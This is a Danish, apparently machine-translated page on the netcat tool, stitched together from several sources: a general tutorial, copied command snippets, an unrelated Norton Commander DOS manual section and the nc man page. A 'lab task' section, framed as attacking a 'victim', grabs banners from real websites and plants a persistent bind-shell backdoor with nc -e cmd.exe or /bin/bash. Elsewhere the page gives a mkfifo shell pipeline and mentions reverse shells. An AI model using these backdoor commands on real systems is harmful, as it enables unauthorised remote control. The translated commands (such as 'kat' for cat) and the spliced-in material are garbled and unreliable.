Netcat beskrivelse. Netcat - eksempler på brug
Linux-systemet er kendt for det faktum, at de fleste distributioner sender et stort antal nyttige kommandolinjeværktøjer direkte med OS. Erfarne systemadministratorer kan udføre de fleste opgaver ved hjælp af indbyggede værktøjer uden behov for at installere yderligere software.
Denne vejledning er dedikeret til driften af værktøjet . Denne "schweizerkniv" af netværksværktøjer kan være nyttig til at overvåge, teste og overføre data på tværs af netværksforbindelser.
Denne vejledning bruger Ubuntu 12.04, men generelt er netcat-værktøjet tilgængeligt på næsten enhver moderne distribution. Ubuntu kommer med en BSD-version af hjælpeprogrammet, som vil blive brugt i denne artikel. Andre versioner kan fungere anderledes eller give andre muligheder.
Generel syntaks
Som standard fungerer netcat ved at starte en TCP-forbindelse til fjernværten.
Grundlæggende syntaks:
netcat [indstillinger] værtsport
Denne kommando starter en TCP-forbindelse til den angivne vært på den angivne port. Grundlæggende fungerer det på samme måde som den gamle Linux-kommando, telnet. Vær opmærksom på, at din forbindelse vil blive gjort ukrypteret.
For at sende en UDP-pakke i stedet for at etablere en TCP-forbindelse, skal du bruge -u-indstillingen:
netcat -u værtsport
For at angive en række porte skal du angive den første og sidste port i området adskilt af en bindestreg:
netcat vært first_port-last_port
Typisk bruges denne kommando med yderligere flag.
På de fleste systemer kan du bruge netcat eller nc. De er udskiftelige, fordi de er aliaser for den samme kommando.
Brugtil portscanning
Oftest bruges netcat som portscanner.
Selvom Netcat sandsynligvis ikke er det smarteste værktøj til denne opgave (nmap er bedre egnet til dette i de fleste tilfælde), kan den udføre en simpel portscanning for hurtigt at identificere åbne porte.
For at gøre dette skal du angive en række porte, der skal scannes (som vist ovenfor), og også bruge -z-indstillingen, som scanner i stedet for at etablere forbindelser.
For eksempel, for at scanne alle porte op til port 1000, skal du køre:
netcat -z -v domæne.com 1-1000
Som du kan se, ud over -z-indstillingen, bruger denne kommando -v-indstillingen, takket være hvilken netcat viser mere detaljeret information.
Resultatet ser således ud:
nc: opret forbindelse til domain.com port 1 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 2 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 3 (tcp) mislykkedes: Forbindelse nægtet
nc: opret forbindelse til domain.com port 4 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 5 (tcp) mislykkedes: Forbindelse nægtet
nc: opret forbindelse til domain.com port 6 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 7 (tcp) mislykkedes: Forbindelse afvist
. . .
Forbindelse til domain.com 22-port lykkedes!
. . .
Som du kan se, giver denne kommando et ret detaljeret resultat og fortæller dig også, om hver enkelt portscanning var vellykket eller ej.
Dette er praktisk, når du bruger et domænenavn.
Ved at angive de nødvendige IP-adresser kan du dog fremskynde scanningen betydeligt. Du kan derefter bruge flaget -n til at angive, at IP-adressen ikke skal løses ved hjælp af DNS:
netcat -z -n -v 111.111.111.111 1-1000
Returmeddelelser sendes til standardfejl. Standardfejlmeddelelser kan sendes til standardoutput for at filtrere resultaterne.
For at omdirigere standardfejl til standardoutput skal du bruge bash-syntaks 2> de resulterende resultater filtreres ved hjælp af grep:
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep lykkedes
Tilslutning til 111.111.111.111 22 port lykkedes!
Så nu kan du se, at den eneste åbne port på fjernmaskinen i området 1-1000 er port 22, standard SSH-porten.
Meddelelseved hjælp af netcat
Netcat-kommandoen er ikke begrænset til at sende TCP- og UDP-pakker. Den kan også lytte på en port efter forbindelser og pakker, hvilket gør det muligt at forbinde to netcat-instanser i et klient-serverforhold.
Hvilken computer der er serveren, og hvilken der er klienten, er kun vigtig under den indledende opsætning. Når forbindelsen er etableret, er kommunikationen den samme i begge retninger.
På én maskine skal du bede netcat om at lytte på en bestemt port efter forbindelser. Dette gøres ved hjælp af parameteren -l, efterfulgt af portnummeret:
Ved at køre denne kommando lytter netcat efter TCP-forbindelser på port 4444. Nu vil en normal bruger (ikke root) ikke være i stand til at åbne nogen porte før 1000 (for serversikkerhed).
På den anden server skal du oprette forbindelse til den første maskine via den angivne port. Dette gøres på samme måde som vist tidligere:
netcat domæne.com 4444
Når forbindelsen er etableret, kan det virke som om, der ikke er sket noget. Men nu kan du sende beskeder på begge sider af forbindelsen, og de vil være synlige på begge servere.
Indtast din besked og tryk ENTER. Meddelelsen vises på både den lokale og den eksterne server. Dette virker også omvendt.
Når du er færdig med at sende beskeder, skal du trykke på CTRL-D for at lukke TCP-forbindelsen.
Deling af filer ved hjælp af netcat
Efter at have gjort dig bekendt med de grundlæggende funktioner i værktøjet og udfyldt de foregående eksempler, kan du gå videre til mere komplekse opgaver.
Som allerede nævnt opretter netcat-værktøjet TCP-forbindelser, der kan bruges til at overføre næsten enhver form for information, ikke begrænset til beskeder skrevet af brugeren. Denne viden kan bruges til at gøre netcat til et filoverførselsprogram.
Igen skal du vælge én maskine for at lytte efter forbindelser. Men i stedet for at udskrive oplysningerne til skærmen (som i det foregående eksempel), vil netcat placere alle oplysningerne direkte i en fil:
netcat -l 4444 > modtaget_fil
På den anden computer skal du oprette en simpel tekstfil:
echo "Hej, dette er en fil" > original_fil
Du kan nu bruge denne fil som input til at oprette forbindelse til den lyttende computer. Filen vil blive overført, som om den var blevet skrevet interaktivt:
netcat domæne.com 4444< original_file
Som du kan se, har computeren, der ventede på forbindelsen, nu en ny fil kaldet "received_file", der indeholder de data, der er indtastet på den anden computer:
kat modtaget_fil
Hej, dette er en fil
Som du kan se, kan sådanne forbindelser nemt bruges til at overføre enhver form for information.
For eksempel kan du overføre indholdet af en hel mappe; For at gøre dette skal du oprette en unavngiven tarball, overføre den til fjernsystemet og pakke den ud i fjernmappen.
I den modtagende ende kan du bruge følgende kommando til at advare om, at filen skal modtages og pakkes ud:
netcat -l 4444 | tar xzvf -
Bindestregen i slutningen af kommandoen betyder, at tarballen vil arbejde på standard input, som i øjeblikket sendes over netværket, hvis en forbindelse er etableret.
På den side, der indeholder den mappe, du vil overføre, skal du pakke den givne mappe ind i et arkiv og derefter sende den til den eksterne maskine ved hjælp af netcat:
tar -czf - * | netcat domæne.com 4444
Denne gang betyder bindestreg i tar-kommandoen, at indholdet af den aktuelle mappe (som angivet med *-symbolet) skal zippes og overføres, og derefter skrives resultatet til standardoutput.
Dette skrives derefter til TCP-forbindelsen, overføres til den anden side af forbindelsen og pakkes ud i den aktuelle mappe på fjerncomputeren.
Dette er blot et eksempel på overførsel af mere komplekse data fra en computer til en anden. Også almindeligt brugt er kommandoen dd, som opretter et diskbillede på den ene side og overfører det til fjerncomputeren. En sådan tilgang er dog ikke dækket i denne vejledning.
som en simpel webserver
Netcat-værktøjet er allerede blevet brugt til at overføre beskeder og filer. Den samme tilgang vil hjælpe dig med at bruge netcat som en simpel webserver. Dette kan være nyttigt til at teste færdige sider.
Først skal du oprette en HTML-fil på én server:
Følgende simple kode kan placeres i denne fil:
Niveau 1 overskrift
Underoverskrift
Normal tekst her
Gem og luk filen.
Denne fil kan ikke serveres på standardwebserverporten (80) uden root-rettigheder. For som en normal bruger skal du indstille port 8888.
For at teste en side og se, hvordan den gengives, skal du skrive noget som:
netcat -l 8888< index.html
Indholdet kan nu ses i en browser ved at besøge:
http://server_IP:8888
Denne kommando udskriver siden, og derefter lukker netcat-forbindelsen. Når du forsøger at opdatere siden, forsvinder den.
Netcat kan tjene siden på ubestemt tid; For at gøre dette skal du gøre den sidste kommando cyklisk ved hjælp af linjen:
mens sandt; do nc -l 8888< index.html; done
Så vil siden fortsætte med at modtage forbindelser efter den første forbindelse er blevet afbrudt.
For at stoppe løkken skal du skrive CTRL-C.
Denne server giver dig mulighed for at se, hvordan siden gengives i browseren, men giver ikke bredere funktionalitet. Brug aldrig sådan en webserver til at betjene rigtige websteder: den er ikke sikker, og simple ting som links fungerer ikke altid korrekt.
Resultater
Denne tutorial introducerer de grundlæggende funktioner og brugen af netcat. Da dette værktøj er alsidigt, kan det bruges til at diagnosticere problemer og teste den grundlæggende funktionalitet af TCP/UDP-forbindelser.
Derudover giver netcat dig mulighed for at kommunikere og udveksle information mellem forskellige computere, hvilket er meget vigtigt for hurtig brugerinteraktion. Ved at forenkle oprettelsen af en forbindelse forsøger netcat-værktøjet at gøre netværksinteraktioner mellem computere mere bekvemme, hurtigere og forståelige.
Tags: ,Visning af en test HTML-side til en klient med en almindelig browser med én kommando (port 8080):
(echo -e "HTTP/1.1 200 OK\nIndholdstype: tekst/html\n\n Hej verden";) | nc -vv -l -p 8080
Overførsel af en fil til en klient med en almindelig browser med én kommando (port 8080):
(echo -e "HTTP/1.1 200\nIndholdsdisposition: vedhæftet fil; filnavn=målnavn-den-klient-vil-se\nIndholdstype: application/octet-stream\nForbindelse: luk\n"; kat filnavn- på disk) | nc -vv -l -p 8080
Hvordan bruger man nc?
(http://handynotes.ru/2010/01/unix-utility-netcat.html )
Lad os starte med et par enkle eksempler og derefter bruge dem som grundlæggende.
Hvis du husker, sagde jeg, at netkat er en schweizisk hærkniv. Hvad ville denne kniv være, hvis den ikke kunne bruges som en almindelig kniv? Dette er grunden til, at netcat kan bruges i stedet for almindelig telnet:
$nc www.google.com 80
Det er faktisk mere praktisk end almindeligt telnet, fordi du kan afslutte forbindelsen til enhver tid ved at trykke på Ctrl+C, og det behandler binære data som normalt (ingen escape-sekvenser, ingenting).Du kan tilføje -v-indstillingen for at vise resultaterne af handlinger mere detaljeret, og (-vv)-indstillingen for at få statistik om, hvor mange bytes der blev overført under den aktuelle forbindelsessession.
Netcat kan bruges som server. Hvis du kører det som nedenfor, vil det lytte på port 12345 (på alle grænseflader):
$ nc -l -p 12345
Hvis du nu opretter forbindelse til port 12345 på denne vært, vil alt, hvad du skriver, blive sendt til fjernsiden, som fortæller os, at netcat kan bruges som en chatserver. Kør på en af computerne:# På computer A med IP 10.10.10.10
$ nc -l -p 12345
Og opret forbindelse til det fra en anden:
# På computer B
$nc 10.10.10.10 12345
Nu kan begge sider tale!
Denne måde at tale på, hvor begge parter kan tale med hinanden, gør det muligt at bruge nc til I/O operationer over netværket! For eksempel kan du sende en hel mappe fra én computer til en anden ved at køre en tar-pipeline via nc på den første computer og omdirigere outputtet til en anden tar-proces på den anden.
Lad os sige, at du vil sende filer fra mappen /data på computer A med IP 192.168.1.10 til computer B (med enhver IP). Det er simpelt:
$tar -cf - /data | nc -l -p 6666
# På computer B
$nc 192.168.1.10 6666 | tar -xf -
Glem ikke at kombinere pipelinen med Pipe Viewer, som blev beskrevet i den forrige artikel, for at se statistik over, hvor hurtigt overførslen sker!
En enkelt fil kan sendes mere enkelt:
# På computer A med IP 192.168.1.10
$ kat fil | nc -l -p 6666
# På computer B
$nc 192.168.1.10 6666 > fil
Du kan endda kopiere og gendanne en hel disk ved hjælp af nc:
# På computer A med IP 192.168.1.10
$ kat /dev/hdb | nc -l -p 6666
# På computer B
$ nc 192.168.1.10 6666 > /dev/hdb
Bemærk: "-l"-indstillingen kan ikke bruges sammen med "-p" på Mac-computere! Løsningen er blot at erstatte “-l -p 6666? til “-l 6666?. Ligesom her:
# nu lytter nc på port 6666 til Mac-computere
$nc -l 6666
En almindelig brug af netcat er portscanning. Netcat er ikke det bedste værktøj til denne form for arbejde, men det får jobbet gjort (det bedste er selvfølgelig nmap):
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UKENDT) 445 (microsoft-ds) åben
(UKENDT) 139 (netbios-ssn) åben
(UKENDT) 111 (sunrpc) åben
(UKENDT) 80 (www) åben
(UKENDT) 25 (smtp) : Forbindelsen fik timeout
(UKENDT) 22 (ssh) åben
Valgmuligheden -n forhindrer DNS-opslag, -z venter ikke på et svar fra serveren, og -w 1? indstiller forbindelsestimeout til 1 sekund.
En anden ikke-triviel brug af netcat er som en proxy. Både port og vært kan videresendes. Se på dette eksempel:
$ nc -l -p 12345 | nc www.google.com 80
Denne kommando kører nc på port 1234 og omdirigerer alle forbindelser til google.com:80. Hvis du nu opretter forbindelse til denne computer på port 12345 og laver en anmodning, vil du opdage, at du ikke modtager nogen data som svar. Dette er korrekt, fordi vi ikke har etableret en tovejskanal. Hvis du tilføjer en anden kanal, vil du modtage dine data på en anden port:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
Efter at have sendt en anmodning til port 12345, modtag dine svardata på port 12346.
Den nok mest kraftfulde funktion ved netcat er at køre enhver proces som en server:
$ nc -l -p 12345 -e /bin/bash
Valgmuligheden -e får input og output til at blive omdirigeret gennem netværksstikket. Nu, hvis du opretter forbindelse til værten på port 12345, kan du bruge bash:
$nc localhost 12345
ls-las
i alt 4288
4 drwxr-xr-x 15 pkrumins brugere 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins brugere 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins brugere 8192 16-02-2009 19:30 .bash_history
4 -rw-r—r— 1 pkrumins brugere 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Overfør filer (vi udfører den første kommando på den modtagende maskine, den anden på den afsendende maskine:
$ nc -l 31334 > filnavn $ nc 172.16.69.143 31334< filename
$ nc -f /var/log/beskeder | nc -l 31334 $ nc 172.16.69.143 31334
3 Brug i stedet for telnet (den første er telnet-serveren, den anden er klienten):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Scan for at åbne porte:
$ nc -z execbit.ru 1-1024
5 Fingeraftrykstjenester baseret på bannere:
$ echo "QUIT" | nc execbit.ru 1-1024
6 Organiser en omvendt shell (den første er klienten, den anden er serveren, men shellen åbnes fra serveren til klienten).
Instruktioner til at arbejde iNortonKommandør
For at starte NC-systemet skal du skrive NC-kommandoen i DOS-kommandolinjen eller venstreklikke på NC-ikonet på computerens skrivebord. Tryk på tasten for at afslutte arbejdet med NC [ F10] . I dialogboksen, der vises, skal du vælge svaret "Ja", hvis du logger ud af systemet, ellers "Nej". Valg af en svarmulighed udføres ved at bruge markørtasterne på det funktionelle tastatur og derefter trykke på tasten [ Gå ind] . Nederst på skærmen indeholder DOS-kommandolinjen, hvor du kan indtaste de relevante kommandoer, mens du arbejder under NC-kontrol. Den nederste linje på skærmen indeholder en tiplinje, som angiver formålet med de vigtigste "hot"-taster, der svarer til NC- (og DOS)-kommandoer.
Efter start af NC vises to paneler på skærmen - venstre og højre. Øverst i hvert panel viser et lille rektangulært vindue den fulde sti til den aktuelle fil eller mappe. Panelet, hvor det fremhævede rektangel, markøren, er placeret, kaldes aktivt. Brug tasten for at flytte fra panel til panel . Hvis den øverste linje på panelet og billedet er valgt “…” det betyder, at du er i mappen med navnet vist øverst i panelet. Følgende kommandoer bruges til at arbejde med paneler:
[ Ctrl] + [ F1] Skjul/vis venstre panel
[ Ctrl] + [ F2] Skjul/vis højre panel
[ Ctrl] + [ U] Skift paneler
[ Ctrl] + [ O] Skjul/vis begge paneler
[ Ctrl] + [ P]Skjul/vis inaktivt panel
For at ændre det logiske disknavn, klik på venstre panel [ Alt] + [ F1] , i den dialogboks, der vises, brug piletasterne til at vælge det ønskede disknavn blandt de foreslåede navne, tryk på tasten [ Gå ind] . For det højre panel er handlingerne ens, men i begyndelsen skal du klikke [ Alt] + [ F2] .
For at gå til biblioteket skal du vælge det på det aktive panel og trykke på tasten [ Gå ind] . For at gå til en mappe på højere niveau på det aktive panel skal du vælge linjen “…” og tryk på tasten [ Gå ind] .
Følgende kommandoer bruges til at arbejde med mapper:
[ F7] – opret en mappe. Angiv et nyt biblioteksnavn i den dialogboks, der vises.
[ F8] – slet mappe. I dialogboksen, der vises, skal du bekræfte sletningen eller annullere sletningen ved at trykke på Esc-tasten.
Følgende kommandoer bruges til at arbejde med filer:
[ Flytte] + [ F4] – opret en fil. Indtast et nyt filnavn i dialogboksen, der vises (glem ikke at angive filtypenavnet). Når filnavnet er angivet, skal du indtaste indholdet af filen i skærmens arbejdsområde. Fuldfør filoprettelse med kommando [ Ctrl] + [ Z]. Tryk på tasten for at gemme filen [ F2] . Afslut redigeringstilstand med tasten [ F10 ] .
[ F4] – redigering af et tidligere oprettet dokument. I dette tilfælde skal du angive navnet på den fil, der skal redigeres, i dialogboksen. Når du arbejder i redigeringstilstand, vises en tiplinje i skærmrummet nederst med tildeling af genvejstaster i redigeringstilstand.
[ Flytte] + [ F2] – gem filen med et nyt navn.
[ F3] – se filens indhold. For at gøre dette skal du først vælge filen i panelet.
[ F5] – filkopiering. Alle handlinger med filer og mapper udføres ved hjælp af begge paneler. For at kopiere en fil skal du på et inaktivt panel indstille den mappe, hvor den kopierede fil skal placeres, gå til denne mappe. På det aktive panel skal du vælge den fil, der skal kopieres, og trykke på tasten [ F5] . Tryk på tasten for at bekræfte kopieringen [ Gå ind] , at annullere - .
[ F6] – overfør/omdøb fil. Handlingen ligner kopiering. For at flytte en fil skal du på et inaktivt panel indstille den mappe, hvor filen skal placeres, og gå til denne mappe. I det aktive panel skal du vælge den fil, der skal flyttes, og trykke på tasten [ F6] . For at omdøbe en fil skal du angive et nyt filnavn i dialogboksen ved at tilføje det via ikonet ” \ ” ved at angive stien. Det er nødvendigt at huske, at den flyttede fil slettes fra sin oprindelige placering.
[ F9] – gå til menuenNC.
Gruppehandlinger på filer
Kopiering, flytning og sletning kan udføres på flere filer samtidigt. For at gøre dette skal du markere dem ved at fremhæve dem på panelet og trykke på tasten [ Indsæt] . I dette tilfælde fremhæves de valgte filer med rektangler i kontrastfarve. Gentag disse trin for at fjerne markeringen. Efter filvalgsproceduren udføres den nødvendige handling (kopiering, flytning, sletning) på gruppen af filer, som om den var én. Den anden måde at vælge en fil på er ved at trykke på den store grå tast ”+” på funktionstastaturet til venstre. Når du har trykket på denne tast, skal du angive filnavnet i dialogboksen eller angive filnavnene, når du bruger en maske i navnet: “ * ”, “ *.* ”, “ ? ”. For at fravælge filer skal du bruge "-"-tasten på det funktionelle tastatur til venstre.
Systemmenu NC
Menusystemet er designet til at tilpasse skallen og gøre betjeningen nemmere. Menulinjen hentes frem ved at trykke på en tast [ F9] . Menusystemet består af en menulinje og rullemenuer. Menuen indeholder følgende punkter: Højre Filer Kommandoer Indstillinger Venstre . Hold Højre Og Venstre bestemme valget af filvisningstilstand på panelet. Alle kommandomuligheder for venstre og højre panel er identiske. Hold Filer designet til at udføre handlinger på filer og mapper. Menupunkt Hold er beregnet til at udføre yderligere kommandoer. Hold Indstillinger er beregnet til opsætning af NC-miljøet. Valg af den relevante kommando udføres ved at bruge markørtasterne og derefter trykke [ Gå ind].
Menupunkt Venstre højre).
Rullemenuen for denne kommando indeholder muligheder for at vælge formatet til visning af filen på skærmen. I tilstanden Kort Panelet viser kun fil- og mappenavne. I tilstanden Fuld Navnet på filen eller mappen vises, for en fil er dens størrelse angivet, for en mappe - strengen "undermappe", datoen og tidspunktet for oprettelse af filen og mappen. I tilstanden Træ Du kan vise mappetræet på den aktuelle disk og bruge markøren til hurtigt at finde den ønskede fil ved at bevæge dig gennem træet. Den næste gruppe af muligheder for dette menupunkt bestemmer rækkefølgen, som filerne vises i på panelet. I dette tilfælde kan filer arrangeres i enhver rækkefølge - tilstand Ingen sortering , men kan arrangeres i en bestemt rækkefølge: Navn – efter navn i alfabetisk rækkefølge, Udvidelse – i forlængelse heraf i alfabetisk rækkefølge, Tid – efter oprettelsesdato, med filer med de seneste oprettelsesdatoer placeret i begyndelsen af listen, Størrelse – efter filstørrelse i faldende rækkefølge. Valg af linjen for den tilsvarende tilstand udføres med markøren og indstilling af afkrydsningsfeltet ved hjælp af mellemrumstasten.
Menupunkt Filer .
Rullemenuen for denne kommando indeholder en beskrivelse af formålet med genvejstaster [ F1] - [ F8] , dvs. genvejstasthandlinger duplikeres af menukommandoer. Den næste mulighed er Indstil attributter. Attributter indstilles kun for filer. Rækkefølgen af indstilling af attributter er som følger: vælg en fil med markøren på panelet. Efter dette, tryk på tasten [ F9] gå til NC-menuen og vælg punktet Filer Installation egenskaber . Efter at have trykket på tasten [ Gå ind] En liste over mulige attributter vises i dialogboksen: Skrivebeskyttet, Arkiv, Skjult, System. Valg af en filattributlinje udføres med markøren og markering af boksen ved hjælp af mellemrumstasten. I dette tilfælde filen med attributter Kun til læsning kan ikke ændres og er kun tilgængelig til visning. Attributter fil Skjult på panelet er markeret med et lille fremhævet rektangel (hvis muligheden ikke er angivet i skærmindstillingerne Vis skjulte filer Filnavnet vises slet ikke på panelet). Den næste gruppe af kommandoer giver dig mulighed for at vælge filer (svarende til den store grå tast ”+” ), fravælg (analogt med tasten ” - ” på funktionstastaturet), inverter valg (analogt med ” * ” på funktionstastaturet).
Menupunkt Hold .
Rullemenuen for denne kommando giver dig mulighed for at oprette en brugermenu, redigere denne menu, se historikken for kommandoer indtastet på DOS-kommandolinjen og indeholder andre yderligere funktioner i NC-skallen.
Menupunkt Indstillinger.
Rullemenuen for denne kommando giver dig mulighed for at konfigurere grænseflademiljøet på en brugervenlig måde. Indeholder mulighed Indstillinger Redaktør og andre. Når du vælger menulinjen Indstillinger, åbnes et sæt dialogbokse, der giver dig mulighed for at vælge et farvesæt til skærmen, indstille antallet af linjer på skærmen osv. Dialogvindue Panelindstillinger tillader Vis skjulte filer, hvis det tilsvarende afkrydsningsfelt er markeret (eller ikke vises). Afkrydsning af de tilsvarende valgbokse udføres også ved hjælp af markøren og mellemrumstasten.
Laboratorieopgave
·nc -h
Som du kan se, er den grundlæggende syntaks for Netcat som følger.
For at oprette forbindelse til en anden maskine:
nc optioner værts IP-adresseport
for at lytte efter indgående forbindelser:
nc -l -p port
Trin 2: Brug Netcat til at oprette forbindelse til fjernsystemet
Lad os bruge Netcat til at oprette forbindelse til et fjernsystem. I vores tilfælde vil vi forsøge at oprette forbindelse til webserveren via port 80. Skriv:
·nc 192.168.1.105 80
Trin 3: Brug Netcat til at fange OS Fingerprint Banner
Når vi har en TCP-forbindelse til nettet, kan vi bruge Netcat til at fange webserverbanneret for at identificere, hvilken software der kører på ofrets webserver.
Husk, at før vi angriber noget system, skal vi lære så meget som muligt om offeret. Netcat kan hjælpe os med denne opgave ved at fange de bannere, som webservere tjener til nye forbindelser.
Nu hvor vi har forbindelsen, kan vi få fat i banneret fra webserveren ved hjælp af kommandoen:
HEAD / HTTP/1.0
Vær forsigtig og kopier nøjagtigt som forfatteren indtastede, med skråstreger og mellemrum.
Tryk på Enter flere gange, og webserveren vil svare med sit banner og fortælle os, hvilken software den kører. I vores tilfælde kan vi se, at webserveren kører Microsoft IIS 6.0.
Vi kan også bruge denne teknik på andre offentligt tilgængelige websteder. Lad os prøve nogle velkendte websteder og se, hvilken software de bruger på deres webserver. Lad os først prøve wonderhowto.com. Når vi pinger wonderhowto.com, ser vi, at IP-adressen er 98.129.110.26. Så kan du indtaste:
·nc 98.129.110.26 80
Når der er en forbindelse, kan vi få fat i webbanneret ved at skrive igen:
HEAD / HTTP/1.0
Og tryk derefter på Enter to eller tre gange.
Som du kan se, kører wonderhowto.com på Microsoft-IIS/7.5.
Hvis vi prøver det samme med cnn.com, får vi resultaterne nedenfor:
Interessant nok kører cnn.com på nginx, en open source-webserver, der på meget kort tid har nået det globale samlede antal Microsoft IIS-installationer (Apache bliver fortsat brugt af mere end 60 % af webserverne på planeten) .
Trin 4: Brug Netcat til at lytte efter forbindelser
Lad os nu bruge netcat til at oprette en lytter på fjernsystemet. Lad os antage, at vi har en Windows-server, som vi har installeret netcat på. Nu kan vi indtaste følgende for at åbne en netcat-lytter på port 6996 (dette kan være en hvilken som helst port) på dette system:
·nc - l -p 6996
Sådan blev der skabt en "lytter", der kan koble sig til vores fritid. Bemærk, at på Windows-systemer kan vi køre den samme kommando med et stort L, og dette vil skabe en vedvarende lytter, der åbner, selvom systemet genstartes.
Trin 5: Opret en bagdør
Lad os nu skabe en bagdør på det inficerede system, så vi kan komme tilbage når som helst. Kommandoen vil variere lidt afhængigt af hvilket system, Linux eller Windows, vi angriber.
Til Windows bruger vi:
·nc -l -p 6996 -e cmd.exe
Til Linux bruger vi:
·nc -l -p 6996 -e /bin/bash
·nc 192.168.1.105 6996
Som du kan se, blev Windows-kommandolinjen ført gennem vores netcat-forbindelse direkte til vores angrebssystem! Vi har denne boks!
nc [-46bCDdhklnrStUuvZz] [-I længde] [-i interval] [-O længde] [-P proxy_brugernavn] [-s source_port] [-q sekunder] [-s kilde] [-T til nøgleord] [-V rtabel] [-w tiden er gået] [-X proxy_protokol] [-x proxy_adresse[:Havn]] [bestemmelsessted] [Havn]Muligheder
-4 | Kræfter nc kun at bruge IPv4-adresser. |
-6 | Kræfter nc kun at bruge IPv6-adresser. |
-b | Tillad udsendelse. |
-C | Send som linjeafslutning. |
-D | Aktiver fejlfinding på stikket. |
-d | Forsøg ikke at læse fra stdin. |
-h | Udskriver nc help. |
-JEG længde | Angiver størrelsen af TCP-modtagebufferen. |
-jeg interval | Angiver et forsinkelsesinterval mellem linjer med tekst, der sendes og modtages. Medfører også en forsinkelsestid mellem forbindelser til flere porte. |
-k | Kræfter nc for at blive ved med at lytte efter en anden forbindelse, efter dens nuværende forbindelse er fuldført. Det er en fejl at bruge denne mulighed uden -l mulighed. |
-l | Bruges til at specificere det nc skal lytte efter en indgående forbindelse i stedet for at starte en forbindelse til en fjernvært. Det er en fejl at bruge denne mulighed i forbindelse med -s, -s, eller -z muligheder. Derudover kan eventuelle timeouts angivet med -w mulighed ignoreres. |
-n | Foretag ikke nogen DNS- eller serviceopslag på nogen specificerede adresser, værtsnavne eller porte. |
-O længde | Angiver størrelsen af TCP sendebufferen. |
-P proxy_brugernavn | Angiver et brugernavn, der skal præsenteres for en proxyserver, der kræver godkendelse. Hvis der ikke er angivet et brugernavn, vil der ikke blive forsøgt godkendelse. Proxy-godkendelse understøttes kun for HTTP CONNECT-proxyer i øjeblikket. |
-s source_port | Specificerer kildeporten nc skal bruge, underlagt privilegiebegrænsninger og tilgængelighed. |
-q sekunder | efter EOF på stdin skal du vente det angivne antal sekunder og derefter afslutte. Hvis sekunder er negativ, vent for evigt. |
-r | Specificerer, at kilde- eller destinationsporte skal vælges tilfældigt i stedet for sekventielt inden for et område eller i den rækkefølge, som systemet tildeler dem. |
-S | Aktiverer RFC 2385 TCP MD5 signaturindstillingen. |
-s kilde | Angiver grænsefladen, der bruges til at sende pakkerne. For UNIX-domæne datagram sockets, specificerer den lokale midlertidige socket fil, der skal oprettes og bruges, så datagrammer kan modtages. Det er en fejl at bruge denne mulighed i forbindelse med -l mulighed. |
-T til nøgleord | Skift IPv4 TOS-værdi. til nøgleord kan være en af kritisk, inetkontrol, lavpris, lav forsinkelse, netkontrol, gennemløb, pålidelighed, eller et af DiffServ-kodepunkterne: ef, af11 ... af43, cs0 ... cs7; eller et tal i enten hex eller decimal. |
-t | Årsager nc at sende RFC 854 IKKE og VIL IKKE svar på RFC 854 GØR og VIL anmodninger. Dette gør det muligt at bruge nc til at scripte telnet-sessioner. |
-U | Angiver at bruge UNIX-domæne-sockets. |
-u | Brug UDP i stedet for standardindstillingen for TCP. Til UNIX-domæne-sockets skal du bruge en datagram-socket i stedet for en stream-socket. Hvis der bruges en UNIX-domæne-socket, oprettes en midlertidig modtagende socket i /tmp, medmindre -s flag er givet. |
-V rtabel | Indstil rutetabellen, der skal bruges. Standard er 0. |
-v | Har nc give mere detaljeret output. |
-w tiden er gået | Forbindelser, der ikke kan etableres eller er inaktive timeout efter timeout sekunder. Det -w flag har ingen indflydelse på -l mulighed, dvs. nc vil lytte for evigt efter en forbindelse, med eller uden -w flag. Standard er ingen timeout. |
-X proxy_protokol | Anmoder om, at nc skal bruge den angivne protokol, når de taler med proxy-serveren. Understøttede protokoller er " 4 " (SOKKER v.4) " 5 " (SOCKS v.5) og " Opret forbindelse" (HTTPS proxy). Hvis protokollen ikke er specificeret, bruges SOCKS version 5. |
-x proxy_adresse[:port] | anmoder om det nc skal oprette forbindelse til destinationen ved hjælp af en proxy på proxy_adresse og Havn. Hvis Havn ikke er angivet, bruges den velkendte port til proxyprotokollen (1080 for SOCKS, 3128 for HTTPS). |
-Z | DCCP-tilstand. |
-z | Specificerer, at nc kun skal scanne efter lyttende dæmoner uden at sende nogen data til dem. Det er en fejl at bruge denne mulighed i forbindelse med -l mulighed. |
bestemmelsessted kan være en numerisk IP-adresse eller et symbolsk værtsnavn (medmindre -n mulighed er givet). Generelt skal en destination angives, medmindre den -l mulighed er givet (i hvilket tilfælde den lokale vært bruges). For UNIX-domæne-sockets kræves en destination, og den er socketstien, der skal oprettes forbindelse til (eller lytte på, hvis -l mulighed er givet).
port kan være et enkelt heltal eller en række porte. Områder er i form nn-mm. Generelt skal en destinationsport angives, medmindre den -U mulighed er givet.
Klient/server model
Det er ganske enkelt at bygge en meget grundlæggende klient/server-model vha nc. Start på én konsol nc lytte på en bestemt port for en forbindelse. For eksempel:
Nc-l 1234
nc lytter nu på port 1234 for en forbindelse. På en anden konsol (eller en anden maskine) skal du tilslutte til maskinen og porten, der lyttes til:
Nc 127.0.0.1 1234
Der skulle nu være en forbindelse mellem portene. Alt, der indtastes på den anden konsol, vil blive sammenkædet med den første og omvendt. Efter at forbindelsen blev oprettet, nc er ligeglad med, hvilken side der bliver brugt som 'server', og hvilken side der bliver brugt som 'klient'. Forbindelsen kan afsluttes ved hjælp af en EOF (' ^D’).
Der er ingen -c eller -e mulighed i moderne netcat, men du kan stadig udføre en kommando efter oprettelse af forbindelse ved at omdirigere filbeskrivelser. Vær forsigtig her, fordi det er FARLIGT at åbne en port og lade enhver tilsluttet udføre vilkårlig kommando på dit websted. Hvis du virkelig har brug for at gøre dette, er her et eksempel:
På 'server' side:
Rm -f /tmp/f; mkfifo /tmp/f kat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
På 'klient' side:
Nc host.example.com 1234
